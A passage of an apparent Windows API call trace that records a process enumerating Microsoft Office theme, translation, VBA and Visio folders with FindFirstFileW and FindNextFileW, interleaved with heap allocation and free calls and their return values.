ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0233.162] GetProcessHeap () returned 0xc10000 [0233.162] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.162] GetProcessHeap () returned 0xc10000 [0233.162] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0233.163] GetProcessHeap () returned 0xc10000 [0233.163] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.163] GetProcessHeap () returned 0xc10000 [0233.163] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0233.164] GetProcessHeap () returned 0xc10000 [0233.164] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.164] GetProcessHeap () returned 0xc10000 [0233.164] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0233.165] GetProcessHeap () returned 0xc10000 [0233.165] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.165] GetProcessHeap () returned 0xc10000 [0233.165] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0233.166] GetProcessHeap () returned 0xc10000 [0233.166] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.166] GetProcessHeap () returned 0xc10000 [0233.166] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0233.167] GetProcessHeap () returned 0xc10000 [0233.167] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.167] GetProcessHeap () returned 0xc10000 [0233.167] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0233.168] GetProcessHeap () returned 0xc10000 [0233.168] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.168] GetProcessHeap () returned 0xc10000 [0233.168] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0233.169] GetProcessHeap () returned 0xc10000 [0233.169] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.169] GetProcessHeap () returned 0xc10000 [0233.169] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0233.170] GetProcessHeap () returned 0xc10000 [0233.170] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.170] GetProcessHeap () returned 0xc10000 [0233.170] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0233.170] GetProcessHeap () returned 0xc10000 [0233.170] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.170] GetProcessHeap () returned 0xc10000 [0233.170] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0233.171] GetProcessHeap () returned 0xc10000 [0233.171] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.171] GetProcessHeap () returned 0xc10000 [0233.172] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0233.172] GetProcessHeap () returned 0xc10000 [0233.172] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0233.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0233.176] GetProcessHeap () returned 0xc10000 [0233.176] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc85db99, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc85db99, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc883e0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0233.180] GetProcessHeap () returned 0xc10000 [0233.180] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.180] GetProcessHeap () returned 0xc10000 [0233.180] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0233.185] GetProcessHeap () returned 0xc10000 [0233.185] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.185] GetProcessHeap () returned 0xc10000 [0233.185] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.185] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0233.190] GetProcessHeap () returned 0xc10000 [0233.190] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.190] GetProcessHeap () returned 0xc10000 [0233.190] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.190] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0233.196] GetProcessHeap () returned 0xc10000 [0233.196] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.196] GetProcessHeap () returned 0xc10000 [0233.196] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0233.196] GetProcessHeap () returned 0xc10000 [0233.197] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0233.197] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0233.200] GetProcessHeap () returned 0xc10000 [0233.200] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0233.201] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.201] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4d4679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xecf3682d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0233.201] GetProcessHeap () returned 0xc10000 [0233.201] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0233.201] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4d4679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xecf3682d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0233.204] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4d4679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xecf3682d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.204] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4d4679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4d4679, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26090, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0233.204] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x208c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBEUIINTL.DLL", cAlternateFileName="VBEUII~1.DLL")) returned 1 [0233.204] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x208c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBEUIINTL.DLL", cAlternateFileName="VBEUII~1.DLL")) returned 0 [0233.204] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0233.205] GetProcessHeap () returned 0xc10000 [0233.205] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0233.205] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0233.205] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb652e29, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x281288, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBEUI.DLL", cAlternateFileName="")) returned 1 [0233.205] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf24004e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x27cd30bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52aae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBEUIRES.DLL", cAlternateFileName="")) returned 1 [0233.205] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf24004e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x27cd30bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52aae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBEUIRES.DLL", cAlternateFileName="")) returned 0 [0233.205] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0233.205] GetProcessHeap () returned 0xc10000 [0233.205] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.205] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0233.205] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0233.206] GetProcessHeap () returned 0xc10000 [0233.206] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0233.207] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0233.207] GetProcessHeap () returned 0xc10000 [0233.207] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0233.208] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0233.213] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, 